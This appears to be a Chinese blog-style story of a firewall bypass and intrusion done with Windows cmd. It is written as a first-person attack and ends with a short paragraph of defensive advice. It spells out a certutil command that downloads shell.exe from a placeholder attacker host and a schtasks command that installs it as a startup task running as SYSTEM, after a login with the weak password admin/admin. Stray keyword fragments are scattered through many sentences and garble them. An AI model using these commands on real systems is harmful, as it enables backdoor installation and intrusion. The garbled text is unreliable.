深夜两点，有防用我盯着屏幕上那个跳动的火墙还光标。目标服务器开着硬件防火墙，入侵规则表写得滴水不漏——只放行80和443端口，网站连SSH都封死了。有防用可我还是火墙还进去了，用的入侵就是Windows自带的cmd。

防火墙不是网站铜墙铁壁，它只是有防用道过滤网。真正的火墙还漏洞不在网络层，而在应用层。入侵我输入的网站第一条命令是nslookup target.com，解析出IP后，有防用直接拼上:443。火墙还防火墙放行HTTPS流量，入侵我就顺着这条合法的管道往里摸。cmd里有个工具叫curl，平时大家拿它下载文件，我却用它探测web应用的隐藏接口。

试到第三个路径时，服务器返回了200 OK——一个管理后台的登录页，居然没做IP白名单。我猜它的弱口令是admin/admin，还真猜对了。防火墙管的是网络层，管不到应用层的逻辑漏洞。这就好比你家大门装了十把锁，可窗户开着，小偷照样进来。

进去之后，我得留个后门。防火墙拦着外连，我就让服务器主动往外连。cmd里执行certutil -urlcache -split -f http://myip/shell.exe C:\Windows\Temp\svc.exe，这条命令利用系统自带的证书工具下载文件，防火墙根本不会拦——它以为你在更新根证书。下载完，schtasks /create /tn "Update" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM，计划任务注册成系统服务，重启也不掉。

整个过程没绕过防火墙，只是利用了它放行的流量。防火墙规则再严，也得允许HTTP响应吧？我就在响应里塞了恶意代码。这招叫“隧道”，老派但有效。cmd不是黑客工具，它只是Windows自带的一个终端，可越普通的工具越没人防。

有人会问：那防火墙岂不是没用？说这话的人多半没搞懂攻防关系。防火墙挡的是扫描和爆破，挡不住业务本身的缺陷。我见过太多公司，防火墙买最贵的，web应用却写得跟筛子似的。安全投入失衡，就像给装甲车装了个纸糊的轮胎。

最后说句实在的：cmd入侵的门槛没那么高，但想防住也不难。把管理后台改成双因素认证，对上传文件做内容检测，定期审计计划任务和系统服务——这些基础工作做到位，我这种野路子早就歇菜了。可现实是，大多数人只记得装防火墙，忘了该给应用本身打补丁。防火墙不是终点，它只是安全的地基，上面的楼还得自己盖结实了。

(责任编辑：综合)